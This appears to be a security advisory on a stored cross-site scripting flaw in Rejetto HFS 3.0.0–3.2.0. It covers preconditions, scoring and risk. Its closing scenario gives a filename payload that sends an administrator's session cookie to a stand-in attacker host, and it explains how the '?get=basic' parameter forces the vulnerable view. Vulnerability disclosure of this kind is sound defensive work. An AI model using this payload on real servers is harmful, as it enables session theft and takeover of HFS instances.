Rejetto HFS CVE-2026-61504

Two conditions must be met: first, the attacker must be able to place a file with an arbitrary name on the HFS server - either via a low-privileged authenticated account with upload permission, or via a directory configured to allow anonymous uploads (a common deployment pattern for public-facing HFS shares). Second, a victim must load the directory listing in basic mode; critically, this is not left to chance - any HTTP client can force this mode by appending ?get=basic to the directory URL, meaning the attacker can engineer victim access by sharing a direct crafted link. Exploitation is limited to Rejetto HFS 3.0.0 through 3.2.0 specifically; the vulnerability does not affect the legacy 2.x codebase or v3.2.1 and later. Impact is bounded to the victim's browser session with no server-side code execution; however, if the victim is an HFS administrator, session hijacking can result in full administrative takeover. Non-default configuration limiting factor: servers that disable uploads entirely or restrict uploads to highly trusted principals substantially reduce the realistic attacker pool.

The CVSS 4.0 base score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N) reflects a moderate baseline: network-accessible with low complexity, but gated by upload privilege (PR:L) and victim interaction (UI:P). A meaningful gap exists between this score and real-world risk on permissively configured servers: when anonymous uploads are permitted, the effective privilege requirement collapses to unauthenticated, which the base score does not capture. The ?get=basic parameter bypass further weakens defenses, because an attacker can craft and distribute a direct URL that forces the vulnerable rendering mode, removing reliance on organic victim navigation. No EPSS data was provided; absent a KEV listing and with no public POC identified at time of analysis, opportunistic mass exploitation is not currently evidenced. However, the vendor's release notes explicitly warn that this and co-fixed vulnerabilities can 'potentially allow an attacker to gain administrative access to HFS,' indicating that the realistic worst-case impact exceeds the moderate CVSS score for deployments with admin users who browse the listing. The combination of low exploitation complexity, anonymous-upload reachability on misconfigured instances, and admin-session-hijacking potential makes this a genuine priority for organizations running HFS 3.x.

An attacker targeting an HFS instance with an open upload folder uploads a file named something like '<img src=x onerror=fetch("https://attacker.example/c?"+document.cookie)>.txt', storing a persistent XSS payload at no cost. The attacker then sends an administrator a crafted link to the affected directory with ?get=basic appended; when the admin opens the link, their session cookie is exfiltrated, granting the attacker administrative control over the HFS instance. No public POC has been identified at time of analysis, but the attack mechanics are straightforward and require no specialized tooling.